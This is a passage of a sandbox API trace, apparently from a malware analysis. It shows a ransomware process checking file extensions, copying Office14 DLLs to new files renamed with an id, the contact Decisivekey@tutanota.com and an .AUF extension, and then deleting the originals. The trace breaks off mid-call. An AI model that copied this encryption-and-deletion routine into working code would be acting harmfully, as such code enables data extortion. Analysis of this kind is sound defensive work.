lpString2="P.DLL") returned -1 [0223.289] lstrlenW (lpString=".ppt") returned 4 [0223.289] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.289] lstrlenW (lpString=".zip") returned 4 [0223.289] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString=".rar") returned 4 [0223.289] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.289] lstrlenW (lpString=".bz2") returned 4 [0223.289] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.289] lstrlenW (lpString=".7z") returned 3 [0223.289] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.289] lstrlenW (lpString=".dbf") returned 4 [0223.290] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".1cd") returned 4 [0223.290] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".jpg") returned 4 [0223.290] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".doc") returned 4 [0223.290] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString=".docx") returned 5 [0223.290] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0223.290] lstrlenW (lpString=".pdf") returned 4 [0223.290] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString=".xls") returned 4 [0223.290] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString=".xlsx") returned 5 [0223.290] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0223.290] lstrlenW (lpString=".ppt") returned 4 [0223.290] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".zip") returned 4 [0223.290] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString=".rar") returned 4 [0223.290] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.290] lstrlenW (lpString=".bz2") returned 4 [0223.290] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.290] lstrlenW (lpString=".7z") returned 3 [0223.290] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".dbf") returned 4 [0223.290] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".1cd") returned 4 [0223.290] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0223.290] lstrlenW (lpString=".jpg") returned 4 [0223.290] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.291] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.291] lstrlenW (lpString="SERCONV.DLL") returned 11 [0223.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.291] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=591736) returned 1 [0223.291] CloseHandle (hObject=0x1f8) returned 1 [0223.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0223.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.291] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.291] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0223.292] GetLastError () returned 0x0 [0223.292] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x90778, lpOverlapped=0x0) returned 1 [0223.506] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x90780, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x90780, lpOverlapped=0x0) returned 1 [0223.518] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.519] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.519] SetEndOfFile (hFile=0x228) returned 1 [0223.519] CloseHandle (hObject=0x228) returned 1 [0223.519] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.519] SetEndOfFile (hFile=0x1f8) returned 1 [0223.523] CloseHandle (hObject=0x1f8) returned 1 [0223.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 1 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString=".doc") returned 4 [0223.524] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString=".docx") returned 5 [0223.524] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0223.524] lstrlenW (lpString=".pdf") returned 4 [0223.524] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString=".xls") returned 4 [0223.524] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString=".xlsx") returned 5 [0223.524] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0223.524] lstrlenW (lpString=".ppt") returned 4 [0223.524] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString=".zip") returned 4 [0223.524] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString=".rar") returned 4 [0223.524] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.524] lstrlenW (lpString=".bz2") returned 4 [0223.524] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.524] lstrlenW (lpString=".7z") returned 3 [0223.524] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString=".dbf") returned 4 [0223.524] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString=".1cd") returned 4 [0223.524] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.524] lstrlenW (lpString=".jpg") returned 4 [0223.524] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString=".doc") returned 4 [0223.525] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString=".docx") returned 5 [0223.525] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0223.525] lstrlenW (lpString=".pdf") returned 4 [0223.525] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString=".xls") returned 4 [0223.525] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString=".xlsx") returned 5 [0223.525] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0223.525] lstrlenW (lpString=".ppt") returned 4 [0223.525] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString=".zip") returned 4 [0223.525] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString=".rar") returned 4 [0223.525] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.525] lstrlenW (lpString=".bz2") returned 4 [0223.525] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.525] lstrlenW (lpString=".7z") returned 3 [0223.525] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString=".dbf") returned 4 [0223.525] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString=".1cd") returned 4 [0223.525] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0223.525] lstrlenW (lpString=".jpg") returned 4 [0223.525] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.525] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.525] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0223.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.526] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=49488) returned 1 [0223.526] CloseHandle (hObject=0x1f8) returned 1 [0223.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0223.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.526] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.526] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0223.527] GetLastError () returned 0x0 [0223.527] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xc150, lpOverlapped=0x0) returned 1 [0223.545] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc160, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xc160, lpOverlapped=0x0) returned 1 [0223.548] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.549] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.550] SetEndOfFile (hFile=0x228) returned 1 [0223.550] CloseHandle (hObject=0x228) returned 1 [0223.550] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.550] SetEndOfFile (hFile=0x1f8) returned 1 [0223.551] CloseHandle (hObject=0x1f8) returned 1 [0223.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.552] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 1 [0223.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.552] lstrlenW (lpString=".doc") returned 4 [0223.552] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString=".docx") returned 5 [0223.552] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0223.552] lstrlenW (lpString=".pdf") returned 4 [0223.552] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString=".xls") returned 4 [0223.552] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString=".xlsx") returned 5 [0223.552] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0223.552] lstrlenW (lpString=".ppt") returned 4 [0223.552] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.552] lstrlenW (lpString=".zip") returned 4 [0223.552] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString=".rar") returned 4 [0223.552] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.552] lstrlenW (lpString=".bz2") returned 4 [0223.552] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.552] lstrlenW (lpString=".7z") returned 3 [0223.552] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".dbf") returned 4 [0223.553] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".1cd") returned 4 [0223.553] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".jpg") returned 4 [0223.553] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".doc") returned 4 [0223.553] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString=".docx") returned 5 [0223.553] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0223.553] lstrlenW (lpString=".pdf") returned 4 [0223.553] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString=".xls") returned 4 [0223.553] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString=".xlsx") returned 5 [0223.553] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0223.553] lstrlenW (lpString=".ppt") returned 4 [0223.553] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".zip") returned 4 [0223.553] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString=".rar") returned 4 [0223.553] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.553] lstrlenW (lpString=".bz2") returned 4 [0223.553] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.553] lstrlenW (lpString=".7z") returned 3 [0223.553] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.553] lstrlenW (lpString=".dbf") returned 4 [0223.553] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.554] lstrlenW (lpString=".1cd") returned 4 [0223.554] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0223.554] lstrlenW (lpString=".jpg") returned 4 [0223.554] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.554] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.554] lstrlenW (lpString="WISC30.DLL") returned 10 [0223.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.555] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=147344) returned 1 [0223.555] CloseHandle (hObject=0x1f8) returned 1 [0223.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0223.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.555] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.555] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0223.556] GetLastError () returned 0x0 [0223.556] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x23f90, lpOverlapped=0x0) returned 1 [0223.579] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x23fa0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x23fa0, lpOverlapped=0x0) returned 1 [0223.581] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.581] WriteFile (in: hFile=0x228, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0223.582] SetEndOfFile (hFile=0x228) returned 1 [0223.582] CloseHandle (hObject=0x228) returned 1 [0223.582] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.582] SetEndOfFile (hFile=0x1f8) returned 1 [0223.583] CloseHandle (hObject=0x1f8) returned 1 [0223.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.583] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 1 [0223.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.583] lstrlenW (lpString=".doc") returned 4 [0223.583] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".docx") returned 5 [0223.584] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.584] lstrlenW (lpString=".pdf") returned 4 [0223.584] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".xls") returned 4 [0223.584] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".xlsx") returned 5 [0223.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.584] lstrlenW (lpString=".ppt") returned 4 [0223.584] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString=".zip") returned 4 [0223.584] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".rar") returned 4 [0223.584] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".bz2") returned 